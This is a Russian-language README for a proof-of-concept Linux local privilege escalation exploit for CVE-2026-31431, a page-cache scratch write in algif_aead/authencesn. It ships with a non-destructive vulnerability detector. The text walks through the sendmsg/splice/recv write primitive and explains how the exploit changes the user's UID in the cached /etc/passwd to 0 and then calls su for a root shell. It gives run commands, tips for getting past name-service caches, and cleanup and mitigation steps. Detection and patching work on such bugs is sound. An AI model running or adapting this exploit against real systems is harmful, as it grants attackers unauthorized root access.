
Эксплойт POC для CVE_2026_31431
Детектор и proof-of-concept LPE для ошибки scratch-записи в page-cache в Linux algif_aead /
authencesn, раскрытой 29 апреля 2026 года.
Описание раскрытия: https://xint.io/blog/copy-fail-linux-distributions
Используйте только на хостах, которыми вы владеете или на оценку которых у вас есть явное разрешение. LPE изменяет состояние памяти (page cache), но этот метод является реальным повышением привилегий — запуск его на системах без авторизации незаконен в большинстве юрисдикций.
algif_aead выполняет операции AEAD на месте (req->src == req->dst).
Когда исходные данные подаются через splice() из обычного файла, целевой scatterlist содержит ссылки на страницы page-cache этого файла — то есть ядро будет писать в них. Затем алгоритм authencesn(hmac(sha256), cbc(aes)) выполняет 4-байтовую "scratch"-запись поля seqno_lo AAD (байты 4–7 AAD, переданного через sendmsg) в этот целевой буфер, повреждая копию файла в page-cache.
Поскольку файл на диске никогда не изменяется, на диске не остаётся сигнатуры; повреждение наблюдают только читатели, использующие общий page cache. /etc/passwd и /usr/bin/su доступны для чтения всем пользователям, поэтому непривилегированный локальный пользователь может повредить представление работающего ядра о любом из них.
Затронуты: ядра, содержащие коммит 72548b093ee3 (in-place AEAD, 2017) без отката в апстриме. В раскрытии подтверждены Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3 и SUSE 16, но лежащий в основе примитив появился раньше этого диапазона.
| Файл | Назначение |
|---|---|
test_cve_2026_31431.py | Неразрушающий детектор. Работает с файлом-маркером во временном каталоге; не затрагивает системные бинарные файлы. |
exploit_cve_2026_31431.py | LPE. Меняет UID текущего пользователя на 0 в page cache /etc/passwd, затем вызывает su для получения root-оболочки. |
Оба скрипта написаны на чистом Python 3.10+ (только стандартная библиотека).
# 1. Проверка уязвимости
python3 test_cve_2026_31431.py
# код выхода 0 = не уязвим, 2 = уязвим, 1 = ошибка теста
# 2. Эксплуатация (интерактивно — su запросит ваш пароль)
python3 exploit_cve_2026_31431.py --shell
python3 test_cve_2026_31431.py
Что он делает:
AF_ALG и алгоритм authencesn(hmac(sha256),cbc(aes)) доступны из непривилегированного процесса.sendmsg+cmsg с seqno_lo, установленным в маркер PWND, затем через os.splice() передаёт 32 байта страницы page-cache файла-маркера в операционный сокет AF_ALG.recv() для запуска дешифрования. Проверка подлинности завершается ошибкой EBADMSG; scratch-запись срабатывает в любом случае.Возможные результаты вывода:
Precondition not met — AF_ALG или authencesn недоступны. Код выхода 0.VULNERABLE to CVE-2026-31431 — маркер PWND оказался в переданной через splice странице. Код выхода 2.Page cache MODIFIED via in-place AEAD splice path — запись в страницу произошла, но маркер не попал в ожидаемую позицию. Считайте систему уязвимой. Код выхода 2.Page cache intact — патч установлен. Код выхода 0.Детектор никогда не затрагивает /usr/bin/su, /etc/passwd и любые другие файлы вне создаваемого им временного каталога, а этот файл удаляется при выходе.
python3 exploit_cve_2026_31431.py # только патч, выводит дальнейшие шаги
python3 exploit_cve_2026_31431.py --shell # патч и запуск `su <user>`
Что он делает:
/etc/passwd и определяет смещение в байтах 4-символьного поля UID.write4 по этому смещению, заменяя UID на 0000.pwd.getpwnam(user), чтобы подтвердить, что libc теперь сообщает UID 0.--shell выполняется execvp("su", ["su", user]). Введите свой пароль. PAM проверяет его по /etc/shadow (не изменяется), затем setuid(getpwnam(user).pw_uid) устанавливает UID 0.write4.nscd, sssd, systemd-userdbd) не должен скрывать чтение /etc/passwd. Если getpwnam после патча по-прежнему возвращает реальный UID, перезапустите или обойдите кэш, либо выберите другого пользователя./etc/passwd должна оставаться в кэше между применением патча и вызовом su. На практике это надёжно работает в любой системе с обычным давлением на память./etc/passwd на диске остаётся неизменным.
Пробный запуск (exploit_cve_2026_31431.py без --shell) при выходе автоматически вытесняет повреждённую страницу через POSIX_FADV_DONTNEED, поэтому запросы вида UID→имя немедленно возвращаются в норму.
После --shell страница остаётся повреждённой, пока вы её не очистите. Пока она повреждена, любые операции, преобразующие UID 1000 → имя (например, ls, файловые менеджеры, проверки владельца scp/sftp), будут завершаться ошибкой или показывать числовые ID. Чтобы очистить:
# без привилегий — запросить вытеснение страницы /etc/passwd из page-cache:
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
# из root-оболочки:
echo 3 > /proc/sys/vm/drop_caches
Перезагрузка также очищает её.
write4sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # EBADMSG; scratch-запись уже выполнена
4 байта из позиций 4–7 AAD (seqno_lo) записываются authencesn в целевой scatterlist, которым в этой ветке кода является страница page-cache, переданная через splice() из target_fd. Смещение записи внутри страницы соответствует offset_src, переданному в splice().
Пока исправленное ядро не появится в вашем дистрибутиве:
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
После применения test_cve_2026_31431.py должен сообщить Precondition not met и завершиться с кодом 0.
Исправление в апстриме возвращает операции AEAD из режима in-place в режим out-of-place, не допуская попадания страниц page-cache в доступные для записи scatterlist-ы.